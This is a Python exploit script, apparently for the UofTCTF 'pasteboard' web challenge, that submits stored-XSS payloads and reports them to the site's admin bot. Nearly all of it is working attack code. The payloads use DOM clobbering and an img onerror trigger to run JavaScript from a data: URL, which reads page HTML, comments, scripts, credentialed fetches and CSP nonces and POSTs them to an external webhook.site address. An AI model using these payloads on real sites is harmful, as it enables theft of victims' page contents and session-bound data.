#!/usr/bin/env python3
"""
Deep DOM and HTTP Search - Thoroughly searches for flag in ALL locations
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin


CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"


def create_and_report(title, payload):
    """Create paste and report to bot"""
    print(f"\n[*] Testing: {title}")

    response = requests.post(
        urljoin(CHALLENGE_URL, "/note/new"),
        data={"title": title, "body": payload},
        allow_redirects=False
    )

    if response.status_code == 302:
        note_path = response.headers.get('Location')
        print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")

        time.sleep(1)

        report_response = requests.post(
            urljoin(CHALLENGE_URL, "/report"),
            data={"url": note_path}
        )

        if report_response.status_code == 202:
            print(f"[+] Queued!")
            return True
    return False


print("="*80)
print("🔍 DEEP DOM AND HTTP SEARCH")
print("="*80)


# Test 1: Extract COMPLETE page HTML
code1 = f"""fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'complete_html',
doctype:document.doctype?'<!DOCTYPE '+document.doctype.name+'>':'',
html:document.documentElement.outerHTML.substring(0,5000),
fullLength:document.documentElement.outerHTML.length
}})
}});"""
payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code1.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 1: Complete HTML dump", payload1)
time.sleep(12)


# Test 2: Search for "uoftctf{" pattern in ENTIRE DOM
code2 = f"""var html=document.documentElement.outerHTML;
var matches=html.match(/uoftctf\{{[^}}]+\}}/gi)||[];
fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'flag_search',
found:matches.length>0,
matches:matches,
searched_length:html.length
}})
}});"""
payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code2.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 2: Search for uoftctf pattern", payload2)
time.sleep(12)


# Test 3: Extract ALL HTML comments
code3 = f"""var walker=document.createTreeWalker(document,NodeFilter.SHOW_COMMENT);
var comments=[];
var node;
while(node=walker.nextNode()){{
comments.push(node.nodeValue);
}}
fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'html_comments',
count:comments.length,
comments:comments
}})
}});"""
payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code3.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 3: Extract HTML comments", payload3)
time.sleep(12)


# Test 4: Get response headers from refetching the current page
code4 = f"""(async()=>{{
try{{
let resp=await fetch(location.href,{{credentials:'include'}});
let headers={{}};
resp.headers.forEach((v,k)=>headers[k]=v);
let text=await resp.text();
await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'response_inspection',
headers:headers,
has_flag:text.includes('uoftctf'),
text_length:text.length,
text_preview:text.substring(0,2000)
}})
}});
}}catch(e){{
await fetch('{WEBHOOK}?method=response_inspection&error='+e.toString());
}}
}})();"""
payload4 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code4.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 4: Refetch page + headers", payload4)
time.sleep(12)


# Test 5: Check ALL script tags content
code5 = f"""var scripts=Array.from(document.scripts).map(s=>{{
return{{
src:s.src||'inline',
content:s.src?'external':s.textContent.substring(0,500),
id:s.id,
nonce:s.nonce
}};
}});
fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'script_tags',
count:scripts.length,
scripts:scripts
}})
}});"""
payload5 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code5.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 5: All script tags", payload5)
time.sleep(12)


# Test 6: Check for hidden inputs or elements with "flag" in name/id/class
code6 = f"""var flagElements=Array.from(document.querySelectorAll('*')).filter(el=>{{
return el.id.toLowerCase().includes('flag')||
el.className.toLowerCase().includes('flag')||
el.name?.toLowerCase().includes('flag')||
el.getAttribute('data-flag');
}}).map(el=>{{
return{{
tag:el.tagName,
id:el.id,
class:el.className,
name:el.name,
value:el.value,
text:el.textContent?.substring(0,200),
attrs:Array.from(el.attributes).map(a=>a.name+'='+a.value)
}};
}});
fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'flag_elements',
found:flagElements.length,
elements:flagElements
}})
}});"""
payload6 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code6.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 6: Find flag-related elements", payload6)
time.sleep(12)


# Test 7: Check document.write history or innerHTML modifications
code7 = f"""var suspicious={{
documentWrite:document.write.toString(),
innerHTMLDesc:Object.getOwnPropertyDescriptor(Element.prototype,'innerHTML'),
title:document.title,
baseURI:document.baseURI,
documentURI:document.documentURI,
URL:document.URL
}};
fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'suspicious_apis',
data:suspicious
}})
}});"""
payload7 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code7.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 7: Check suspicious APIs", payload7)
time.sleep(12)


# Test 8: Try to fetch the HOME page and search for flag there
code8 = f"""(async()=>{{
try{{
let resp=await fetch('/',{{credentials:'include'}});
let text=await resp.text();
let match=text.match(/uoftctf\{{[^}}]+\}}/i);
await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'home_page_search',
has_flag:!!match,
flag:match?match[0]:null,
text_preview:text.substring(0,1000)
}})
}});
}}catch(e){{
await fetch('{WEBHOOK}?method=home_page_search&error='+e.toString());
}}
}})();"""
payload8 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code8.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 8: Search home page", payload8)
time.sleep(12)


# Test 9: Extract CSP header and nonce
code9 = f"""(async()=>{{
try{{
let resp=await fetch(location.href);
let csp=resp.headers.get('content-security-policy');
let nonces=csp?csp.match(/nonce-[a-zA-Z0-9_-]+/g):[];
await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'csp_nonces',
csp:csp,
nonces:nonces,
current_script_nonce:document.currentScript?.nonce
}})
}});
}}catch(e){{
await fetch('{WEBHOOK}?method=csp_nonces&error='+e.toString());
}}
}})();"""
payload9 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code9.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 9: CSP and nonces", payload9)
time.sleep(12)


# Test 10: Deep scan - base64 encoded strings that might be flags
code10 = f"""var html=document.documentElement.outerHTML;
var base64Pattern=/[A-Za-z0-9+\/]{{20,}}={0, 2}/g;
var matches=[...html.matchAll(base64Pattern)].slice(0,10).map(m=>{{
try{{
return{{orig:m[0].substring(0,50),decoded:atob(m[0]).substring(0,100)}};
}}catch(e){{
return{{orig:m[0].substring(0,50),decoded:'invalid'}};
}}
}});
fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'base64_scan',
found:matches.length,
matches:matches
}})
}});"""
payload10 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code10.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 10: Base64 scan", payload10)


print("\n" + "="*80)
print("✅ ALL DEEP SEARCH TESTS QUEUED")
print("="*80)
print(f"📊 Check webhook: {WEBHOOK}")
print("="*80)
print("\nThese tests will:")
print("  1. Dump complete HTML (first 5000 chars)")
print("  2. Search for uoftctf{{ pattern")
print("  3. Extract ALL HTML comments")
print("  4. Refetch page and inspect response")
print("  5. Examine all script tags")
print("  6. Find elements with 'flag' in attributes")
print("  7. Check suspicious APIs")
print("  8. Search home page for flag")
print("  9. Extract CSP nonces")
print("  10. Scan for base64-encoded strings")
print("="*80)
